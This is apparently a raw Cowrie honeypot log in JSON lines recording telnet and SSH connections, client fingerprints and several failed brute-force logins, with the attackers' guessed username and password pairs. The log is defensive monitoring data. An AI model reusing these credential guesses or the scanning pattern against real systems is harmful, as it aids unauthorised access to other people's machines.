{"eventid":"cowrie.session.closed","duration":31.68637990951538,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:24:14.726724Z","src_ip":"213.129.84.225","session":"817daab324a9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":47522,"dst_ip":"159.203.135.109","dst_port":23,"session":"8e1d0348790c","protocol":"telnet","message":"New connection: 213.129.84.225:47522 (159.203.135.109:23) [session: 8e1d0348790c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:24:19.225584Z"}
{"eventid":"cowrie.session.closed","duration":30.775604724884033,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:24:20.046814Z","src_ip":"213.129.84.225","session":"f25b4cf59ccc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.448189735412598,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:24:20.440694Z","src_ip":"213.129.84.225","session":"69816cb477e9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":45498,"dst_ip":"10.17.0.5","dst_port":23,"session":"337c11b5de03","protocol":"telnet","message":"New connection: 137.184.155.248:45498 (10.17.0.5:23) [session: 337c11b5de03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:24:20.678489Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":59178,"dst_ip":"159.203.135.109","dst_port":23,"session":"e4faab1b1c3c","protocol":"telnet","message":"New connection: 213.129.84.225:59178 (159.203.135.109:23) [session: e4faab1b1c3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:24:21.895730Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":35094,"dst_ip":"159.203.135.109","dst_port":23,"session":"f59b923dbd69","protocol":"telnet","message":"New connection: 213.129.84.225:35094 (159.203.135.109:23) [session: f59b923dbd69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:24:22.830338Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":35346,"dst_ip":"10.17.0.5","dst_port":23,"session":"9ae59fda68ed","protocol":"telnet","message":"New connection: 137.184.155.248:35346 (10.17.0.5:23) [session: 9ae59fda68ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:24:23.217007Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":46002,"dst_ip":"159.203.135.109","dst_port":23,"session":"f5e8ffffe087","protocol":"telnet","message":"New connection: 213.129.84.225:46002 (159.203.135.109:23) [session: f5e8ffffe087]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:24:25.320399Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":35352,"dst_ip":"10.17.0.5","dst_port":23,"session":"acc856b8f48a","protocol":"telnet","message":"New connection: 137.184.155.248:35352 (10.17.0.5:23) [session: acc856b8f48a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:24:26.196565Z"}
{"eventid":"cowrie.session.closed","duration":4.8366968631744385,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:24:28.053612Z","src_ip":"137.184.155.248","session":"9ae59fda68ed","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.72369647026062,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:24:29.344523Z","src_ip":"213.129.84.225","session":"801cb9c9247d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.250412702560425,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:24:30.861501Z","src_ip":"213.129.84.225","session":"9993a653f323","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.837672233581543,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:24:35.026927Z","src_ip":"213.129.84.225","session":"792dec4b620c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.855026245117188,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:24:36.184374Z","src_ip":"213.129.84.225","session":"08285de7be3a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.684259176254272,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:24:39.077541Z","src_ip":"213.129.84.225","session":"ff5f0823dd17","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":56066,"dst_ip":"159.203.135.109","dst_port":23,"session":"585ad1cc37e7","protocol":"telnet","message":"New connection: 213.129.84.225:56066 (159.203.135.109:23) [session: 585ad1cc37e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:24:39.689781Z"}
{"eventid":"cowrie.session.closed","duration":31.06713104248047,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:24:42.094164Z","src_ip":"213.129.84.225","session":"a9a402c603e3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":54910,"dst_ip":"10.17.0.5","dst_port":23,"session":"3488f38a9503","protocol":"telnet","message":"New connection: 137.184.155.248:54910 (10.17.0.5:23) [session: 3488f38a9503]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:24:42.248855Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":36326,"dst_ip":"159.203.135.109","dst_port":23,"session":"22c527be9031","protocol":"telnet","message":"New connection: 213.129.84.225:36326 (159.203.135.109:23) [session: 22c527be9031]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:24:42.472614Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":43964,"dst_ip":"159.203.135.109","dst_port":23,"session":"6e5d4302fed7","protocol":"telnet","message":"New connection: 213.129.84.225:43964 (159.203.135.109:23) [session: 6e5d4302fed7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:24:43.163409Z"}
{"eventid":"cowrie.session.connect","src_ip":"190.244.39.232","src_port":38922,"dst_ip":"10.17.0.5","dst_port":22,"session":"67c198c557a7","protocol":"ssh","message":"New connection: 190.244.39.232:38922 (10.17.0.5:22) [session: 67c198c557a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:24:43.270582Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:24:43.278269Z","src_ip":"190.244.39.232","session":"67c198c557a7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:24:43.480432Z","src_ip":"190.244.39.232","session":"67c198c557a7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"vikram","message":"login attempt [admin/vikram] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:24:44.295855Z","src_ip":"190.244.39.232","session":"67c198c557a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:24:45.511270Z","src_ip":"190.244.39.232","session":"67c198c557a7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":39236,"dst_ip":"159.203.135.109","dst_port":23,"session":"88a4c69fb575","protocol":"telnet","message":"New connection: 213.129.84.225:39236 (159.203.135.109:23) [session: 88a4c69fb575]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:24:48.592839Z"}
{"eventid":"cowrie.session.closed","duration":30.963707208633423,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:24:50.189160Z","src_ip":"213.129.84.225","session":"8e1d0348790c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.766098022460938,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:24:52.661563Z","src_ip":"213.129.84.225","session":"e4faab1b1c3c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.308834552764893,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:24:53.139015Z","src_ip":"213.129.84.225","session":"f59b923dbd69","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":60236,"dst_ip":"159.203.135.109","dst_port":23,"session":"b9033d30a8a5","protocol":"telnet","message":"New connection: 213.129.84.225:60236 (159.203.135.109:23) [session: b9033d30a8a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:24:53.361195Z"}
{"eventid":"cowrie.session.closed","duration":30.856916189193726,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:24:56.177179Z","src_ip":"213.129.84.225","session":"f5e8ffffe087","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.125.94.71","src_port":44566,"dst_ip":"159.203.135.109","dst_port":22,"session":"52ba25d640d3","protocol":"ssh","message":"New connection: 202.125.94.71:44566 (159.203.135.109:22) [session: 52ba25d640d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:24:59.669132Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:24:59.673374Z","src_ip":"202.125.94.71","session":"52ba25d640d3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:24:59.935760Z","src_ip":"202.125.94.71","session":"52ba25d640d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Am123456","message":"login attempt [root/Am123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:25:01.017066Z","src_ip":"202.125.94.71","session":"52ba25d640d3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:25:02.282167Z","src_ip":"202.125.94.71","session":"52ba25d640d3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.29517483711243,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:25:06.973562Z","src_ip":"137.184.155.248","session":"337c11b5de03","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"41.86.34.139","src_port":43762,"dst_ip":"10.17.0.5","dst_port":22,"session":"887b7146439a","protocol":"ssh","message":"New connection: 41.86.34.139:43762 (10.17.0.5:22) [session: 887b7146439a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:25:08.305723Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:25:08.311681Z","src_ip":"41.86.34.139","session":"887b7146439a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:25:08.522766Z","src_ip":"41.86.34.139","session":"887b7146439a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"pass1234567","message":"login attempt [ubuntu/pass1234567] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:25:09.384804Z","src_ip":"41.86.34.139","session":"887b7146439a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.364734888076782,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:25:10.054404Z","src_ip":"213.129.84.225","session":"585ad1cc37e7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:25:10.597279Z","src_ip":"41.86.34.139","session":"887b7146439a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.19667911529541,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:25:13.393166Z","src_ip":"137.184.155.248","session":"acc856b8f48a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":33122,"dst_ip":"10.17.0.5","dst_port":23,"session":"9edb1165abf7","protocol":"telnet","message":"New connection: 137.184.155.248:33122 (10.17.0.5:23) [session: 9edb1165abf7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:25:13.782270Z"}
{"eventid":"cowrie.session.closed","duration":31.46928381919861,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:25:13.941787Z","src_ip":"213.129.84.225","session":"22c527be9031","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.87750816345215,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:25:14.040804Z","src_ip":"213.129.84.225","session":"6e5d4302fed7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":57712,"dst_ip":"159.203.135.109","dst_port":23,"session":"af93bd8fb780","protocol":"telnet","message":"New connection: 185.26.126.47:57712 (159.203.135.109:23) [session: af93bd8fb780]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:25:15.869347Z"}
{"eventid":"cowrie.session.closed","duration":30.457107067108154,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:25:19.049834Z","src_ip":"213.129.84.225","session":"88a4c69fb575","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":60692,"dst_ip":"159.203.135.109","dst_port":23,"session":"c6ff3923a7d8","protocol":"telnet","message":"New connection: 185.26.126.47:60692 (159.203.135.109:23) [session: c6ff3923a7d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:25:20.502120Z"}
{"eventid":"cowrie.session.connect","src_ip":"72.253.251.7","src_port":47176,"dst_ip":"159.203.135.109","dst_port":22,"session":"8068decf1b54","protocol":"ssh","message":"New connection: 72.253.251.7:47176 (159.203.135.109:22) [session: 8068decf1b54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:25:22.289395Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:25:22.295552Z","src_ip":"72.253.251.7","session":"8068decf1b54","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:25:22.413289Z","src_ip":"72.253.251.7","session":"8068decf1b54","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Root@1234567","message":"login attempt [root/Root@1234567] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:25:22.917103Z","src_ip":"72.253.251.7","session":"8068decf1b54","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:25:24.037553Z","src_ip":"72.253.251.7","session":"8068decf1b54","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.684362411499023,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:25:24.045425Z","src_ip":"213.129.84.225","session":"b9033d30a8a5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":11.422517776489258,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:25:27.291733Z","src_ip":"185.26.126.47","session":"af93bd8fb780","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.561872482299805,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:25:27.810611Z","src_ip":"137.184.155.248","session":"3488f38a9503","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":44510,"dst_ip":"10.17.0.5","dst_port":23,"session":"e2d6a2dc0781","protocol":"telnet","message":"New connection: 137.184.155.248:44510 (10.17.0.5:23) [session: e2d6a2dc0781]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:25:39.897653Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.125.94.71","src_port":34330,"dst_ip":"159.203.135.109","dst_port":22,"session":"bca241c62542","protocol":"ssh","message":"New connection: 202.125.94.71:34330 (159.203.135.109:22) [session: bca241c62542]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:25:58.100755Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:25:58.105468Z","src_ip":"202.125.94.71","session":"bca241c62542","protocol":"ssh"}
